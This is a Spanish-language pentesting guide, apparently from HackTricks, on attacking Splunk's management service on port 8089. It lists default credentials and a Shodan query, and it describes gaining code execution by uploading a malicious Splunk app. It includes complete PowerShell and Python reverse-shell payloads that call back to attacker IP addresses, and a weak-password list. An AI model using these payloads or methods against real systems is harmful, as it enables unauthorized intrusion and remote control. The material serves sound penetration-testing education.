119 lines
4.5 KiB
Markdown

# 8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
## **Información Básica**
- Herramienta de análisis de registros utilizada para la recopilación, análisis y visualización de datos
- Comúnmente utilizada en monitoreo de seguridad y análisis de negocios
- Puertos predeterminados:
- Servidor web: 8000
- Servicio Splunkd: 8089
### Vectores de Vulnerabilidad:
1. Explotación de la Versión Gratuita
- La versión de prueba se convierte automáticamente en versión gratuita después de 60 días
- La versión gratuita carece de autenticación
- Riesgo de seguridad potencial si se deja sin gestionar
- Los administradores pueden pasar por alto las implicaciones de seguridad
2. Debilidades de Credenciales
- Versiones más antiguas: Credenciales predeterminadas `admin:changeme`
- Versiones más nuevas: Credenciales establecidas durante la instalación
- Potencial para el uso de contraseñas débiles (por ejemplo, `admin`, `Welcome`, `Password123`)
3. Oportunidades de Ejecución Remota de Código
- Múltiples métodos de ejecución de código:
- Aplicaciones Django del lado del servidor
- Puntos finales REST
- Entradas scriptadas
- Scripts de alerta
- Soporte multiplataforma (Windows/Linux)
- Las entradas scriptadas pueden ejecutar:
- Scripts Bash
- Scripts de PowerShell
- Scripts por lotes
Potencial Clave de Explotación:
- Almacenamiento de datos sensibles
- Falta de autenticación en la versión gratuita
- Múltiples vectores para potencial ejecución remota de código
- Posibilidad de aprovechar entradas scriptadas para comprometer el sistema
### Shodan
- `Splunk build`
## RCE
### Crear Aplicación Personalizada
Splunk ofrece un método sofisticado para la ejecución remota de código a través del despliegue de aplicaciones personalizadas, aprovechando sus capacidades de scripting multiplataforma. La técnica de explotación central gira en torno a la creación de una aplicación maliciosa que puede ejecutar shells inversos en sistemas tanto Windows como Linux.
Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**. Además, **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código python.
Puedes usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) ejemplo con el **`bin`** que contiene un ejemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). O podrías crear el tuyo propio.
El proceso de explotación sigue una metodología consistente a través de plataformas:
```
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
El archivo de configuración crítico `inputs.conf` habilita el script mediante:
- Estableciendo `disabled = 0`
- Configurando un intervalo de ejecución de 10 segundos
- Definiendo el tipo de fuente del script
El despliegue es sencillo:
1. Crear el paquete de aplicación maliciosa
2. Configurar un listener (Netcat/socat) en la máquina atacante
3. Subir la aplicación a través de la interfaz de Splunk
4. Activar la ejecución automática del script al subir
Ejemplo de shell reversa de Windows PowerShell:
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```
Ejemplo de shell inverso de Python en Linux:
```python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE y Escalación de Privilegios
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## Referencias
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{{#include ../banners/hacktricks-training.md}}